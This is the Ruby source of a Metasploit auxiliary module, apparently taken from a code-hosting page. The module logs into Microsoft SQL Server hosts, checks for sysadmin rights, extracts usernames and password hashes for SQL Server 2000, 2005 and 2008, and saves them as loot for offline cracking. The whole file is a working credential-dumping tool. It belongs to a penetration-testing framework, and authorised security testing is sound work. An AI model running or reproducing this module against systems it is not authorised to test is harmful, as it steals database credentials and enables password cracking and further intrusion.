112 lines
3.0 KiB
Ruby
112 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::MSSQL
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'MSSQL Password Hashdump',
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'Description' => %Q{
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This module extracts the usernames and encrypted password
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hashes from a MSSQL server and stores them for later cracking.
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This module also saves information about the server version and
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table names, which can be used to seed the wordlist.
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},
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'Author' => ['theLightCosine'],
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'License' => MSF_LICENSE
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)
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end
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def run_host(ip)
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if (not mssql_login_datastore)
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print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
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return
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end
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#Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
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instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
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print_status("Instance Name: #{instancename.inspect}")
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version = mssql_query(mssql_sql_info())[:rows][0][0]
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version_year = version.split('-')[0].slice(/\d\d\d\d/)
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mssql_hashes = mssql_hashdump(version_year)
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unless mssql_hashes.nil?
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report_hashes(mssql_hashes,version_year)
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end
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end
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#Stores the grabbed hashes as loot for later cracking
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#The hash format is slightly different between 2k and 2k5/2k8
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def report_hashes(mssql_hashes, version_year)
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case version_year
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when "2000"
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hashtype = "mssql.hashes"
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when "2005", "2008"
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hashtype = "mssql05.hashes"
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end
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this_service = report_service(
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:host => datastore['RHOST'],
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:port => datastore['RPORT'],
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:name => 'mssql',
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:proto => 'tcp'
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)
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tbl = Rex::Ui::Text::Table.new(
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'Header' => 'MS SQL Server Hashes',
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'Indent' => 1,
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'Columns' => ['Username', 'Hash']
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)
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hash_loot=""
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mssql_hashes.each do |row|
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next if row[0].nil? or row[1].nil?
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next if row[0].empty? or row[1].empty?
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tbl << [row[0], row[1]]
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print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}")
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end
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filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt"
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store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service)
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end
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#Grabs the user tables depending on what Version of MSSQL
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#The queries are different between 2k and 2k/2k8
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def mssql_hashdump(version_year)
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is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
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if is_sysadmin == 0
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print_error("#{rhost}:#{rport} - The provided credentials do not have privileges to read the password hashes")
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return nil
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end
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case version_year
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when "2000"
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results = mssql_query(mssql_2k_password_hashes())[:rows]
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when "2005", "2008"
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results = mssql_query(mssql_2k5_password_hashes())[:rows]
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end
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return results
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end
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end
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